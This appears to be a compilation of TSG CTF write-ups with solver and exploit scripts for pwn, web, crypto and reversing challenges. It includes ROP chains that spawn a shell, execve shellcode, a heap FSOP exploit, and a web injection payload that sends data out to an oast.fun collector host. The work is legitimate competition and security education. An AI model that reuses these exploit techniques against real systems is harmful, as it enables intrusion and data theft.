There is an out-of-range reference so that we can leak the encrypted password and our input.
while (1) {
int idx;
printf("Enter a hint number (0~2) > ");
if (scanf("%d", &idx) == 1 && idx >= 0) {
for (int i = 0; i < 8; i++) {
putchar(hints[idx][i]);
}
puts("");
} else {
break;
}
}
void crypting(long long *secret, size_t len, long long key) {
for (int i = 0; i < (len - 1) / 8 + 1; i++) {
secret[i] = secret[i] ^ key;
}
}
Our input is encrypted with above function in which just XOR is used so, we can leak the key by using following calculation:
key = input[0:8] ^ encrypted_input[0:8]
By using the leaked key, we can decrypt the password.
#!/usr/bin/env python
import sys
import ptrlib as ptr
import pwn
exe = ptr.ELF("./chall")
pwn.context.binary = pwn.ELF(exe.filepath)
def connect():
if len(sys.argv) > 1 and sys.argv[1] == "remote":
return pwn.remote("34.146.186.1", 41778)
else:
return pwn.process(exe.filepath)
def unwrap(x):
if x is None:
ptr.logger.error("Failed to unwrap")
exit(1)
else:
return x
def main():
io = connect()
io.sendlineafter(b"> ", b"A" * 0x10)
io.sendlineafter(b"> ", str(8).encode())
key = ptr.u64(io.recvuntil(b"\nEnter", drop=True)) ^ 0x4141414141414141
ptr.logger.info(f"key: {hex(key)}")
password = b""
for i in range(0x20 // 8):
io.sendlineafter(b"> ", str(i + 4).encode())
l = io.recvuntil(b"\nEnter", drop=True)
assert len(l) == 8
lu = ptr.u64(l)
password += ptr.p64(lu ^ key)
continue
password = password.split(b"\0")[0]
ptr.logger.info(f"password: {password}")
io.sendlineafter(b"> ", b"a")
io.sendlineafter(b"> ", password)
io.interactive()
return
if __name__ == "__main__":
main()
author: zatsu
scanf
による自明なオーバーフローが存在する。
main
等のアドレスが \0a
を含むため直接アドレスを入力することはできないが、読み込まれた画像に対する mprotect
の結果が r-x
であるため、画像データ中のアドレスを用いたROPができる。
各レジスタをsetするようなROP gadgetと add eax, 0xd8a7d76f; ret
や push rax; ret
のようなgadgetを用いる事で main
のアドレスに制御を移すことができるため、引数を適切にセットしてから mprotect
を呼び出す直前に制御を移して img_data
の領域を rwx
にし、stack pivotによってshellを書き込んで実行することでshellが得られた。
from ptrlib import *
e = ELF('./vuln_img')
p = Process('./vuln_img')
payload = b'A' * 0x110
# ► 0x1004952 <img_data+18770> pop rdi
# 0x1004953 <img_data+18771> sbb eax, 0x4424a400
# 0x1004959 <img_data+18777> ret
def set_rdi(addr):
global payload
payload += p64(0x1004952)
payload += p64(addr)
# ► 0x10023dc <img_data+9180> pop rbx
# 0x10023dd <img_data+9181> ret
def set_rbx(addr):
global payload
payload += p64(0x10023dc)
payload += p64(addr)
# ► 0x100771e <img_data+30494> pop rcx
# 0x100771f <img_data+30495> ret
def set_rcx(addr):
global payload
payload += p64(0x100771e)
payload += p64(addr)
# ► 0x100bb60 <img_data+47968> pop rsi
# 0x100bb61 <img_data+47969> jmp rcx
def set_rsi_and_jmp_to_rcx(addr):
global payload
payload += p64(0x100bb60)
payload += p64(addr)
# ► 0x1001fbf <img_data+8127> pop rdx
# 0x1001fc1 <img_data+8129> test dword ptr [rdi - 0x73], esp
# 0x1001fc4 <img_data+8132> ret
def set_rdx_with_readable_rdi(addr):
global payload
payload += p64(0x1001fbf)
payload += p64(addr)
def jump(addr):
global payload
payload += p64(addr)
# ► 0x100bf59 <img_data+48985> pop rbx
# 0x100bf5b <img_data+48987> jmp ptr [rbx - 0x333d9537]
def jump_by_rbx(addr):
global payload
payload += p64(0x100bf59)
payload += p64((addr + 0x333d9537) & 0xffffffffffffffff)
# ► 0x1005585 <img_data+21893> push rbx
# 0x1005587 <img_data+21895> stosd dword ptr [rdi], eax
# 0x1005588 <img_data+21896> ret
def ret_to_rbx_with_writable_rdi():
global payload
payload += p64(0x1005585)
def ret_to_rdx():
global payload
payload += p64(0x10026cc)
ret_addr = 0x100771f
payload += p64(0x1a00508) # imul edx, ebp, 0xe8ef6803 の結果下3bitが7になるようにする
jump(ret_addr)
set_rdi(0x1001111) # readableなdummy
set_rdx_with_readable_rdi(7) # mprotectの第三引数
set_rdi(0x1000000)
set_rcx(ret_addr)
set_rsi_and_jmp_to_rcx(0x1000000)
# ► 0x100c30e <img_data+49934> pop rax
# 0x100c30f <img_data+49935> ret
payload += p64(0x100c30e)
payload += p64((1<<64) - 0xd8a7d76f + 0xa0001ff) # a0001ff: call a000900 <mprotect@plt>
# 0x10058bb <img_data+22715> add eax, 0xd8a7d76f
# 0x10058c0 <img_data+22720> std
# 0x10058c1 <img_data+22721> ret
payload += p64(0x10058bb)
# 0x100b9d1 <img_data+47569> push rax
# 0x100b9d2 <img_data+47570> imul edx, ebp, 0xe8ef6803
# 0x100b9d8 <img_data+47576> ret
# payload += p64(0x100b9d1)
set_rbx(ret_addr)
# ► 0x100b3ff <img_data+46079> push rax
# 0x100b400 <img_data+46080> push rbx
# 0x100b401 <img_data+46081> push rbx
# 0x100b402 <img_data+46082> ret
payload += p64(0x100b3ff)
p.sendlineafter('> ', payload)
p.sendlineafter('> ', 'exit')
payload = b'A' * 0x110 + p64(0x1a002f8) # next rbp
payload += p64(0x100c30e)
payload += p64((1<<64) - 0xd8a7d76f + 0xa000204) # a0001ff: call a000900 <mprotect@plt>
payload += p64(0x10058bb)
set_rbx(ret_addr)
payload += p64(0x100b3ff)
p.sendlineafter('> ', payload)
p.sendlineafter('> ', 'exit')
# shellcode
payload = b'Z' * 0x110 + p64(0x1a00000) + p64(0x1a00308) + b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
p.sendlineafter('> ', payload)
p.interactive()
piercing_misty_mountain: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=e12cc43525ce486435ec085011d7731a2da229c0, for GNU/Linux 3.2.0, not stripped
[*] '/root/workspace/piercing_misty_mountain'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
There is a BOF in profile
function.
int profile() {
char job[0x8] = "Job:";
char age[0x8];
printf("Job > ");
read_n(job + 4, 0x18 - 4);
printf("Age > ");
read_n(age, 0x8);
return atoi(age);
}
By using above BOF, we can overwrite the saved RIP but not write a ROP chain. So, we have to write the ROP chain in advance. By doing stack pivot and returning to main
we can write the ROP chain to arbitrary area.
0x4c8000 <initial+672>: 0x4343434343434343 0x4343434343434343
0x4c8010 <initial+688>: 0x000000000040217f 0x00000000004c8100
0x4c8020 <initial+704>: 0x000000000040a1ee 0x0000000000000000
0x4c8030 <initial+720>: 0x000000000044afa2 0x0000000000000000
0x4c8040 <initial+736>: 0x0000000000450847 0x000000000000003b
0x4c8050 <initial+752>: 0x000000000041b326 0x0000000000000000
0x4c8060 <initial+768>: 0x0000000000000000 0x0000000000000000
0x4c8070 <initial+784>: 0x0000000000000000 0x0000000000000000
0x4c8080 <initial+800>: 0x0000000000000000 0x0000000000000000
0x4c8090 <initial+816>: 0x0000000000000000 0x0000000000000000
After writing the ROP chain, we can use the BOF again to do stack pivot and return to profile
, then rewrite RIP so that it connects to the ROP chain we just wrote, and we can get a shell.
0x4c8000 <initial+672>: 0x4141414141414141 0x000000000040101a
0x4c8010 <initial+688>: 0x000000000040217f 0x00000000004c8100
0x4c8020 <initial+704>: 0x000000000040a1ee 0x0000000000000000
0x4c8030 <initial+720>: 0x000000000044afa2 0x0000000000000000
0x4c8040 <initial+736>: 0x0000000000450847 0x000000000000003b
0x4c8050 <initial+752>: 0x000000000041b326 0x0000000000000000
0x4c8060 <initial+768>: 0x0000000000000000 0x0000000000000000
0x4c8070 <initial+784>: 0x0000000000000000 0x0000000000000000
0x4c8080 <initial+800>: 0x0000000000000000 0x0000000000000000
0x4c8090 <initial+816>: 0x0000000000000000 0x0000000000000000
#!/usr/bin/env python
import sys
import ptrlib as ptr
import pwn
exe = ptr.ELF("./piercing_misty_mountain")
pwn.context.binary = pwn.ELF(exe.filepath)
def connect():
if len(sys.argv) > 1 and sys.argv[1] == "remote":
return pwn.remote("34.146.186.1", 41777)
else:
return pwn.process(exe.filepath)
def unwrap(x):
if x is None:
ptr.logger.error("Failed to unwrap")
exit(1)
else:
return x
def main():
io = connect()
def sla(delim: bytes, data: bytes):
io.sendlineafter(delim, data)
return
def sa(delim: bytes, data: bytes):
io.sendafter(delim, data)
return
def ru(delim, drop=False) -> bytes:
return io.recvuntil(delim, drop=drop)
def rl() -> bytes:
return io.recvline()
free_space = 0x4C8000
ptr.logger.info(f"free_space: {hex(free_space)}")
profile = unwrap(exe.symbol("profile"))
main = unwrap(exe.symbol("main"))
sla(b"> ", b"5unset")
sla(b"> ", b"3")
payload = b""
payload += b"A" * 4
payload += ptr.p64(free_space + 0x1000)
payload += ptr.p64(main + 15)
sa(b"> ", payload)
sa(b"> ", b"B" * 8)
payload = b""
payload += b"C" * 0x10
payload += ptr.p64(next(exe.gadget("pop rdi; ret;")))
payload += ptr.p64(free_space + 0x100)
payload += ptr.p64(next(exe.gadget("pop rsi; ret;")))
payload += ptr.p64(0)
payload += ptr.p64(next(exe.gadget("pop rdx; ret;")))
payload += ptr.p64(0)
payload += ptr.p64(next(exe.gadget("pop rax; ret;")))
payload += ptr.p64(59)
payload += ptr.p64(next(exe.gadget("syscall; ret;")))
payload = payload.ljust(0x100, b"\0")
payload += b"/bin/sh\0"
sla(b"> ", payload)
sla(b"> ", b"3")
payload = b""
payload += b"A" * 4
payload += ptr.p64(free_space)
payload += ptr.p64(profile + 12)
sa(b"> ", payload)
sa(b"> ", b"B" * 8)
payload = b""
payload += b"A" * 12
payload += ptr.p64(next(exe.gadget("ret;")))
sa(b"> ", payload)
sa(b"> ", b"B" * 8)
io.interactive()
return
if __name__ == "__main__":
main()
import secrets
from typing import Literal, Optional
from more_itertools import chunked
from pwn import *
BIN_NAME = "./fl_support_center.patched"
REMOTE_LIBC_PATH = "./lib/libc.so.6"
LOCAL = not ("REMOTE" in args)
context.binary = chall = ELF(BIN_NAME)
# if LOCAL: stream = process(BIN_NAME)
if LOCAL: stream = remote("localhost", 49867)
else: stream = remote("34.146.186.1", 49867)
# if name not in black_list and len(name) < 0x100:
# friends_list[name] = ""
def add(name: bytes):
stream.sendlineafter(b"> ", b"1")
stream.sendlineafter(b": ", name)
# 2 回まで呼べる
# if len(message) < 0x100:
# if friends_list[name] == "" or input("delete?") == "yes":
# friends_list[name] = message
def message(name: bytes, message: bytes, yn: Optional[Literal["yes"] | Literal["no"]]=None):
stream.sendlineafter(b"> ", b"2")
stream.sendlineafter(b": ", name)
stream.sendlineafter(b": ", message)
if yn is not None:
# TODO: old
stream.sendlineafter(b"> ", yn.encode())
def list():
stream.sendlineafter(b"> ", b"3")
data = stream.recvuntil(b"\n1. Add", drop=True).decode()
friends_list = {}
entries = data.split("----------------------------------------------\n")
for entry in entries:
if entry.strip():
lines = entry.strip("\n").split("\n")
print(lines)
name = lines[0].split(": ")[1]
message = lines[1].split(": ")[1]
friends_list[name] = message
return friends_list
def remove(name: bytes, message: Optional[bytes]=None):
stream.sendlineafter(b"> ", b"4")
stream.sendlineafter(b": ", name)
if message is not None:
stream.sendlineafter(b": ", message)
SUPPORT = b"FL*Support*Center@fl.support.center"
FAKE_SUPPORT_1 = b'a' * len(SUPPORT)
add(FAKE_SUPPORT_1)
remove(FAKE_SUPPORT_1)
add(FAKE_SUPPORT_1)
message(FAKE_SUPPORT_1, b"A" * 0xff)
remove(FAKE_SUPPORT_1, message=SUPPORT)
l = stream.recvline_startswith(b"Do you want to delete the sent message: ")
stream.sendline(b"n")
leak = l.split(b": ")[1]
tcache_next = unpack(leak[:8])
tcache_key = unpack(leak[8:16])
print(f'{hex(tcache_next)=}')
print(f'{hex(tcache_key)=}')
# heap_base = (tcache_next << 12) - 0x13000 # FOR LOCAL
heap_base = (tcache_next << 12) - 0x12000
print(f'{hex(heap_base)=}')
SUPPORT_ADDR = heap_base + 0x11f50
print(f'{hex(SUPPORT_ADDR)=}')
def aar(addr: int, length: int):
print(f'[+] aar({hex(addr)}, {length})')
name = secrets.token_hex(len(SUPPORT) // 2).encode()
add(name)
remove(name)
add(name)
remove(
name,
b"A" * 0x20 +
pack(SUPPORT_ADDR) + pack(len(SUPPORT)) +
b"A" * 0x10 +
pack(addr) + pack(length) +
b"A" * 0x10
)
l = stream.recvline_startswith(b"Do you want to delete the sent message: ")
stream.sendlineafter(b"> ", b"no")
return l.split(b": ", 1)[1][:length]
# insert to unsorted
ITER = 7
for i in range(ITER):
add(str(i).encode() * 0xf0)
for i in range(ITER):
remove(str(i).encode() * 0xf0)
for i in range(ITER):
add(str(i).encode() * 0xf0)
for i in range(ITER):
remove(str(i).encode() * 0xf0, b"a")
# tcache pos is random :(
# leak = aar(heap_base + 0x13580, 0x100) # remote
leak = aar(heap_base + 0x12200, 0x100)
libc = ELF(REMOTE_LIBC_PATH)
for chunk_list in chunked(leak, 8):
arena_addr = unpack(bytes(chunk_list))
if (arena_addr & 0xfff) == 0xce0:
print(f'[+] {hex(arena_addr)=}')
libc.address = arena_addr - 0x21ace0
print(f'[+] {hex(libc.address)=}')
break
# stream.interactive()
def aaw(addr: int, payload: bytes):
print(f'[+] aaw({hex(addr)}, {payload})')
name = secrets.token_hex(len(SUPPORT) // 2).encode()
add(name)
remove(name)
add(name)
remove(
name,
b"A" * 0x20 +
pack(SUPPORT_ADDR) + pack(len(SUPPORT)) +
b"A" * 0x10 +
pack(addr) + pack(len(payload)) +
b"A" * 0x10
)
assert len(payload) < 0x100
stream.sendlineafter(b"> ", b"yes")
stream.sendlineafter(b": ", payload)
write_addr = libc.symbols["_IO_2_1_stdout_"]
fake_file = b''
fake_file += p64(0x3b01010101010101) # flags
fake_file += b"/bin/sh\0" # read_ptr
fake_file = fake_file.ljust(0x28, b'\x00')
fake_file += p64(1)
fake_file = fake_file.ljust(0x68, b'\x00')
fake_file += p64(libc.symbols["system"]) # _IO_jump_t.__doallocate
fake_file = fake_file.ljust(0x88, b'\x00')
fake_file += p64(libc.address + 0x21ca70) # _IO_file.lock
fake_file = fake_file.ljust(0xa0, b'\x00')
fake_file += p64(write_addr) # _IO_file.wide_data
fake_file = fake_file.ljust(0xc0, b'\x00')
fake_file += p64(0) # _IO_file._mode
fake_file = fake_file.ljust(0xd8, b'\x00')
fake_file += p64(libc.symbols["_IO_wfile_jumps"]) # _IO_file.vtable
fake_file = fake_file.ljust(0xe0, b'\x00')
fake_file += p64(write_addr) # _IO_wide_data.vtable
aaw(write_addr, fake_file)
stream.interactive()
Not Solved
Author: zatsu
num
に型チェックが存在しないため、[65536, 2, 3]
のような値を送信すると長さチェックをバイパスして parseInt(num, 10) === 65536
を達成できる
import requests
url = 'http://34.84.71.29:4932/'
json = {
"num": [65536, 2, 3],
}
res = requests.post(url, json=json)
print(res.text)
Author: hiikunZ
$ curl -X POST http://34.84.32.212:8080/ -d "auth=guest&password=%00
<br />
<b>Fatal error</b>: Uncaught ValueError: Bcrypt password must not contain null character in /var/www/html/index.php:21
Stack trace:
#0 /var/www/html/index.php(21): password_hash('PmVG7xe9ECBSgLU...', '2y')
#1 {main}
thrown in <b>/var/www/html/index.php</b> on line <b>21</b><br />
で $pepper1
をリークして、auth
を admin
にして hash
を次のコードで捏造する。ここでハッシュされる文字列の前 8 文字さえあってれば verify が通るので、解けた。
echo base64_encode(crypt("PmVG7xe9","ZZ"));
flag: TSGCTF{Pepper. The ultimate layer of security for your meals.}
response = requests.post(f"{HEAD}/preset", json={
"name": "</title><base href='https://fyelosrixjovnwxnntlee714qfmft8zad.oast.fun/'/> \x1b(J<style",
"prefix": f"\"+'A'.repeat(100)//"
})
print(response.text)
id = response.json()["id"]
path = f"/presets/{id}"
response = requests.post(f"{HEAD}/report", json={
"path": path
})
req = json.loads(input("requst> "))
result = req["result"]
print(bytes([c ^ ord("A") for c in bytes.fromhex(result)[1::2]]))
Author: みゃう
from Crypto.Util.number import getStrongPrime
from random import shuffle
flag = b"FAKE{THIS_IS_FAKE_FLAG}"
p = getStrongPrime(1024)
q = getStrongPrime(1024)
N = p * q
e = 0x10001
m = int.from_bytes(flag, "big")
c = pow(m, e, N)
# "Aaaaargh!" -- A sharp, piercing scream shattered the silence.
p_bytes = p.to_bytes(128, "big")
q_bytes = q.to_bytes(128, "big")
fraction_size = 2
p_splitted = [int.from_bytes(p_bytes[i : i + fraction_size], "big") for i in range(0, len(p_bytes), fraction_size)]
q_splitted = [int.from_bytes(q_bytes[i : i + fraction_size], "big") for i in range(0, len(q_bytes), fraction_size)]
shuffle(p_splitted)
shuffle(q_splitted)
print(f"N = {N}")
print(f"c = {c}")
print(f"p_splitted = {p_splitted}")
print(f"q_splitted = {q_splitted}")
The RSA primes
Given
Using this relationship, we can search for pairs
Note that the search may yield multiple candidates, not just one unique pair.
from collections import deque
from output import p_splitted, q_splitted, N, c
from Crypto.Util.number import inverse, long_to_bytes
def bfs_find_p_q(p_splitted, q_splitted, N, length):
queue = deque([(0, [], [])])
while queue:
i, current_ps, current_qs = queue.popleft()
if i == length:
return current_ps, current_qs
partial_N = N % 2 ** (16 * (i + 1))
partial_p_poly = sum(
[pi * (2 ** (16 * idx)) for idx, pi in enumerate(current_ps)]
) % (2 ** (16 * (i + 1)))
partial_q_poly = sum(
[qi * (2 ** (16 * idx)) for idx, qi in enumerate(current_qs)]
) % (2 ** (16 * (i + 1)))
for pi in p_splitted:
for qi in q_splitted:
if (
(partial_p_poly + pi * (2 ** (16 * i)))
* (partial_q_poly + qi * (2 ** (16 * i)))
) % (2 ** (16 * (i + 1))) == partial_N:
queue.append((i + 1, current_ps + [pi], current_qs + [qi]))
raise Exception("No valid solution found.")
LENGTH = len(p_splitted)
found_ps, found_qs = bfs_find_p_q(p_splitted, q_splitted, N, LENGTH)
p = sum([pi * (2 ** (16 * idx)) for idx, pi in enumerate(found_ps)])
q = sum([qi * (2 ** (16 * idx)) for idx, qi in enumerate(found_qs)])
print(f"p = {p}")
print(f"q = {q}")
assert p * q == N
e = 0x10001
m = pow(c, inverse(e, (p - 1) * (q - 1)), p * q)
print(long_to_bytes(m).decode())
p = 133846079567033356295611663807472620387209233565787526555738846382718344891721831631688559264099570540393849521623918732060226890640580063490864556922128525956884002008979132603720649145351885711269969451344880448760955136344150312478430955260159658688415728407730512351844988228785331625665794917259257926213
q = 151355518372765120493327934762926630893438167972334488889493051813724826088782068105390566319924248423756649210493142888195116144950614724981735824913625568893513234575823641661316419754786310456460557346632081385143889518584132516903169499774904766562459218546051354207232352829994450058475821789976020567069
TSGCTF{Yasu_is_the_culprit_4977d14abf9a4fad90d87046d2ee7e7d}
Author: hiikunZ
from pwn import *
from hashlib import sha256
io = remote("34.146.145.253", 10961)
io.recvuntil(b"n = ")
n = int(io.recvline().strip())
io.recvuntil(b"chal = ")
chal = bytes.fromhex(io.recvline().strip().decode())
c = int.from_bytes(chal, "big") + n
c = c.to_bytes(129, "big")
io.recvuntil(b"ciphertext: ")
io.sendline(c.hex().encode())
res = bytes.fromhex(io.recvline().strip().decode())
io.close()
maskedSeed = res[1 : 1 + 32]
maskedDB = res[1 + 32 :]
k = 1024 // 8
h_len = 32
def mgf(seed, mask_len):
if mask_len > 2**32:
raise ValueError("mask too long")
t = b""
for i in range(mask_len // h_len + 1):
t += sha256(seed + i.to_bytes(4, "little")).digest()
return t[:mask_len]
seedMask = mgf(maskedDB, h_len)
def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))
seed = xor(maskedSeed, seedMask)
dbMask = mgf(seed, k - h_len - 1)
db = xor(dbMask, maskedDB)
print(db.split(b"\x01")[-1].decode())
The problem is to compute the discrete log over
Though we could apply the technique partially, we needed to analyze further (secret
is 1024bit, but we only obtainedsecret
Fortunatelly, we realized the curve over
from Crypto.Util.number import bytes_to_long, long_to_bytes
import random
rng = random.SystemRandom()
a, b = [0x1c456bfc3fabba99a737d7fd127eaa9661f7f02e9eb2d461d7398474a93a9b87,0x8b429f4b9d14ed4307ee460e9f8764a1f276c7e5ce3581d8acd4604c2f0ee7ca]
X,Y,Z = (92512155407887452984968972936950900353410451673762367867085553821839087925110135228608997461366439417183638759117086992178461481890351767070817400228450804002809798219652013051455151430702918340448295871270728679921874136061004110590203462981486702691470087300050508138714919065755980123700315785502323688135 ,40665795291239108277438242660729881407764141249763854498178188650200250986699 , 1)
p = 0xd9d35163a870dc6dfb7f43911ff81c964dc8e1dd2481fdf6f0e653354b59c5e5
ec = EllipticCurve(Zmod(p**4),[a,b])
P = ec.point((X,Y,Z))
secP_xy = (62273117814745802387117000953578316639782644586418639656941009579492165136792362926314161168383693280669749433205290570927417529976956408493670334719077164685977962663185902752153873035889882369556401683904738521640964604463617065151463577392262554355796294028620255379567953234291193792351243682705387292519, 518657271161893478053627976020790808461429425062738029168194264539097572374157292255844047793806213041891824369181319495179810050875252985460348040004008666418463984493701257711442508837320224308307678689718667843629104002610613765672396802249706628141469710796919824573605503050908305685208558759526126341)
prec = 4
Qp = pAdicField(p, prec)
E4 = EllipticCurve(Qp, [a, b])
Fp = GF(p)
Ef = EllipticCurve(Fp, [a, b])
N = Ef.order()
print(f"is_ordinary: {Ef.is_ordinary()}")
print(f"order==p?: {N==p}")
## modified from http://mslc.ctf.su/wp/polictf-2012-crypto-500/
def hensel_lift(curve, p, point):
A, B = (a, b)
x, y = map(lambda val:int(val.lift()), point.xy())
fr = y**2 - (x**3 + A*x + B)
assert fr % p**4 == 0
t = int((- fr / p**4) % p)
t *= pow(int(2 * y), -1, int(p)) # (y**2)' = 2 * y
t = int(t % p**4)
new_y = y + t * p**4
return x, new_y
S = E4((X, Y))
T = E4(secP_xy)
x1, y1 = hensel_lift(E, p, S)
x2, y2 = hensel_lift(E, p, T)
# redefine after Hensel lifting
Qp = pAdicField(p, prec+1)
E = EllipticCurve(Qp, [a, b])
S = E((x1, y1))
T = E((x2, y2))
## from https://mitsu1119.github.io/blog/p/zer0pts-ctf-2021-writeup-%E6%97%A5%E6%9C%AC%E8%AA%9E/
NS = N * S
a = Fp(-NS[0] / (p * NS[1]))
n = 0
l = 1
Sp = S
Tp = T
ds = []
while Tp != 0:
NTp = N*Tp
w = -NTp[0] / NTp[1]
b = w / p^l
d = Fp(Integer(b)/a)
ds.append(Integer(d))
Tp = Tp - Integer(d)*Sp
Sp = p*Sp
n += 1
l += 1
if n > prec:
break
solve = 0
for i in range(len(ds)):
solve += ds[i] * p^i
print(long_to_bytes(solve))
#is_ordinary: True
#order==p?: True
#b"TSGCTF{HeNSel's L3mMa 1s s0 usefUl!}|D\x06\xd8\xe6\x12\xde\x8d\x13\x05\xff\xe8\x92c0#b\xe1\xd9K,\xec\x1fA\xe7\xf3\xda\x13np\xeb\xb4zM\xb4\xac\xe2l\xe4(\x08\x9ap\xe4HV\x1c:f\x18;5\xd2\x85_:Fs\xbf\xf7\xe8\xacjo\xe0\xf0\x15\xab\x91H\r~Kl#\x9b\x16\xde-uj\xda\x8b\x87)o\xe6\xdcZ\xf5\x9e"
secret_key
に関する連立一次方程式が得られているため、これを使ってsecret_key
を復元できる。ciphertextsの前半と後半のいずれかはdisagreeを含まないため、両方試すことによってdisagreeを無視できる。あとは通常の方法でdecryptするとよい。
exec(read("output.txt"))
A = Matrix(Zmod(p), n, n)
for i in range(n):
for j in range(n):
A[i,j] = ciphertexts[n+j][i]
b = vector(Zmod(p), n)
for i in range(n):
b[i] = ciphertexts[n+i][-1] - 1*(p//q)
secret_key = A.solve_left(b)
def dot(a,b,p):
assert len(a) == len(b)
return sum([(a[i]*b[i])%p for i in range(len(a))])%p
flag = ""
for enc in encrypted_flag:
v = enc[-1] - dot(secret_key, enc[:-1], p)
flag += chr(int(floor(int(v) / (p//q))))
print(flag)
Author: hiikunZ
mydecoder
の処理がガバガバで、{"time":"hoge","":"<data>"}
の形を作ると <data>
に "
と \
以外の文字が全て使える。
import time
import math
import requests
import json
positions = {
"user": [3861, -67500, 50947],
"sat0": [67749, 27294, 94409],
"sat1": [38630, -52128, -9112],
"sat2": [-86459, -74172, 8698],
"sat3": [36173, -84060, 95354],
"flag": [0, 0, 0],
}
data = {}
def distance(a, b):
dist = 0
for i in range(3):
dist += (a[i] - b[i]) ** 2
return math.sqrt(dist)
host = "http://34.146.145.253:42001/"
ut = time.time()
for target in ["sat0", "sat1", "sat2", "sat3"]:
t = ut - distance(positions[target], positions["flag"])
t = int(t)
response = requests.get(host + target)
dat = response.json()
n = dat["public_key"]["n"]
res = '{"time":' + str(t) + ',"data":"' + "\x00" * 200 + '"}'
res = res.encode()
res = int.from_bytes(res, "little")
print(hex(res))
y = -res % n
y = (y * pow(256 ** len('{"time":' + str(t) + ',"data":"'), -1, n)) % n
while True:
x = y.to_bytes(200, "little")
assert len(x) == 200
real_res = b'{"time":' + str(t).encode() + b',"data":"' + x + b'"}'
print(real_res)
res = int.from_bytes(real_res, "little")
assert res % n == 0
if not b'"' in x and b"\\" not in x:
break
y += n
data[target] = {}
data[target]["data"] = real_res.hex()
data[target]["sign"] = "00"
json_data = json.dumps(data)
response = requests.post(
host + "auth", data=json_data, headers={"Content-Type": "application/json"}
)
print(response.json())
Not Solved
Author: zatsu
デコンパイルされたコードを読むと、入力を4文字毎に区切って gen_rand()
で生成した乱数とxorを行い、その結果を memcmp
によって flag_enc
と比較していることが分かる。
また、init
の処理によって memcmp
の処理が差し替えられており、memcmp
中に乱数のstateが変化していることも確認できた。
乱数の出力は gen_rand()
が呼ばれる直前までの入力文字から定まるため、gdbで gen_rand()
の返り値を得て、それと flag_enc
の結果をxorして新たな入力とする処理を繰り返すことでフラグを得られた。
import gdb
rnd = [3542627188, 2616472058, 820737800, 3317136477, 10439305, 908029029, 2164904520, 817214727, 205657852, 3787318749, 321275647, 2837809417]
flag_enc= b'\x20\x60\x6f\x90\xae\x77\x8f\xf3\xfc\x09\xa5\x5e\xdd\x6b\x39\x51\xdf\xfd\x6e\x5e\xa8\x60\x88\x85\xbc\xd7\x95\x52\x75\xe9\x82\xf3\xb7\xa2\x04\x95\x4a\x0e\x5c\x67\x53\x81\x13\xbf\x34\x61\x70\xc1'
res = b''
print(res)
print(len(flag_enc))
def opt():
global res
global byte_4
global rnd
print(res)
with open('file', 'wb') as f:
f.write(res)
gdb.execute('file ./misbehave')
gdb.execute('b *main+74')
gdb.execute('r < file')
l = []
while True:
r = gdb.parse_and_eval('$rax')
print(hex(r))
l.append(int(r))
print(len(l))
if len(l) == 12:
break
gdb.execute('c')
gdb.execute('det')
res = b''
for i in range(0xc):
byte_4 = int.from_bytes(flag_enc[i*4:i*4+4], 'little') ^ rnd[i]
res += int.to_bytes(byte_4, 4, 'little')
rnd = l
print(res)
for i in range(48):
opt()
バイトコードの58行目付近を読むとMultiply,Add,Remainderの3命令が連なっていることがわかる。ここからフラグの各文字
res = [100, 115, 39, 99, 100, 54, 27, 115, 69, 220, 69, 99, 100, 191, 56, 161, 131, 11, 101, 162, 191, 54, 130, 175, 205, 191, 222, 101, 162, 116, 147, 191, 55, 24, 69, 130, 69, 191, 252, 101, 102, 101, 252, 189, 82, 116, 41, 147, 161, 147, 132, 101, 162, 82, 191, 220, 9, 205, 9, 100, 191, 38, 68, 253]
flag = 'TSGCTF{'
from z3 import *
a, b = BitVec('a', 8), BitVec('b', 8)
s = Solver()
for i in range(len(flag)):
s.add((ord(flag[i]) * a + b) & 0xff == res[i])
assert s.check() == sat
m = s.model()
a = m[a].as_long()
b = m[b].as_long()
flag = ''
for i in range(len(res)):
for j in range(127):
if (j * a + b) & 0xff == res[i]:
flag += chr(j)
break
print(flag)
配布されたバイナリを解析すると、入力とダミーフラグをmemcmpで比較する処理、および加算や減算などのプリミティブな計算を行う多数の関数が見つかった。
次にGDBスクリプトを解析すると、以下の処理をしていることがわかった。
最終的に以下のソルバーによりフラグが得られた。
data_6547ea867fa0 = '42d31f3164feaea202ad05481cac96d5e6624b23b5d0f7a7ca56195908603aac757dc4050a8eb8074f793defad737938'
v1 = [int.from_bytes(bytes.fromhex(data_6547ea867fa0[i*16:i*16+16]), 'little') for i in range(len(data_6547ea867fa0)//16)]
v2 = []
for i in range(len(v1)):
v = v1[i] - 0x89fc76aef8d6a8c3
if v < 0:
v += 1<<64
v2.append(v)
# 得られたアセンブリからv2を手動で置換
v3 = [0x66221E42571B1B1D, 0x2063383B75652F77, 0x6B655A6961635674, 0x641733226F50717C, 0x624F786E344F6E7A, 0x1C566D342C774434]
# XOR演算に使われた値をデバッガで取得
v4 = [73, 72, 92, 20, 22, 88, 89, 86, 21, 73, 16, 64, 88, 89, 84, 16, 6, 9, 0, 0, 7, 5, 4, 7, 73, 65, 15, 26, 23, 0, 72, 3, 30, 12, 16, 85, 0, 28, 16, 0, 5, 42, 22, 94, 77, 16, 86, 28]
v5 = b''.join([int.to_bytes(i, 8, 'little') for i in v3])
v6 = [v5[i] ^ v4[i] for i in range(len(v4))]
v7 = ''.join([chr(i) for i in v6])
print(v7)
ユーザーはサーバーに/TSGCTF%7B...%7D
のようなパスでアクセスできる。もしこのパスが正しいフラグであればマルコフアルゴリズムによって置換が繰り返されて/
で停止する。本問題ではそのようなパスを探すことが目的である。
まず以下のルール群より、/TSGCTF(f)(t)(c)(g)(s)(t)
は/
に置換されることがわかる。
^(.*)M\(m\) -> \1
^(.*)H\(h\) -> \1
[...]
また以下のルール群より、/TSGCTF%7Bhoge_fuga_piyo%7D
は/TSGCTF(/hoge)(/fuga)(/piyo)
のような形に置換されることがわかる。つまり、/TSGCTF(/hoge)(/fuga)(/piyo)
における()
内の文字列がf
,t
,c
,g
,s
,t
にそれぞれ置換されるものであればよい。
^(.*)%7D%7B -> \1+
^(.*)%7D -> \1)
